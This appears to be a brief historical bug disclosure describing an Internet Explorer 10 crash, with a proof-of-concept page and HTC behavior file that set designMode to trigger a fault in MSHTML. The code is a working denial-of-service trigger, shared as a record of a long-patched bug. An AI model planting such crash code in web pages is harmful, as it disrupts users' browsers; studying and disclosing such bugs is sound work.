IE10 DoS: Setting designMode in an HTC Behavior Crashes Browser

Setting document.designMode = "On" from inside an HTC behavior file caused IE10 to crash.

<!-- index.html -->
<script>
function main()
{
    document.body.style.behavior = "url(htc.htc)";
}
</script>
<input type="button" onclick="main()" value="CrashMe" />

// htc.htc
document.designMode = "On"; // Crash!

The fault occurred in MSHTML!CDoc::UpdateDesignMode during the design mode update triggered from the behavior’s script context.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.